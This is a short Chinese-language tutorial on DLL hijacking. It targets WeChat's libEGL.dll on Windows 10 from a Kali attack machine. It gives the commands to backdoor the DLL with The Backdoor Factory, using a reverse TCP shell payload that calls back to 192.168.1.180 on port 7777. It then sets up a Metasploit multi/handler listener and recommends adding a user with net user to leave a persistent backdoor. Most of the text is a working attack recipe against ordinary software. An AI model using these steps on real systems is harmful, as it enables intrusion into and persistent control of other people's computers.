DLL劫持是什么?
DLL,动态链接库文件,又称“应用程序扩展”,在执行某一程序时,相应的DLL会被调用。如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现"劫持"。
实验环境
攻击机——kali:劫持工具——BDF,https://github.com/cream492/the-backdoor-factory
切换目录,./install.sh运行安装 ,./backdoor.py -h 查看是否安装好
微信——win10:任务管理工具:查找微信调用的DLL文件(ProcessExplorer),https://en.softonic.com/download/process-explorer/windows/post-download
实验过程
打开Process Explorer,选择View——Lower Pane View——DLLs
复制libEGL.dll 到the-backdoor-factory下
./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 7777 -H 192.168.1.180
-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要连接 远程主机的端口,-H 表示 DLL 连接的远程主机
可以看到,新生成的dll文件在backdoored下,将文件重新放到物理机的目录下
设置参数
use exploit/multi/handler
set payload windows//shell_reverse_tcp
set lhost 192.168.1.180
set lport 7777
run
成功获取shell,可以使用 net user 添加用户,留后门。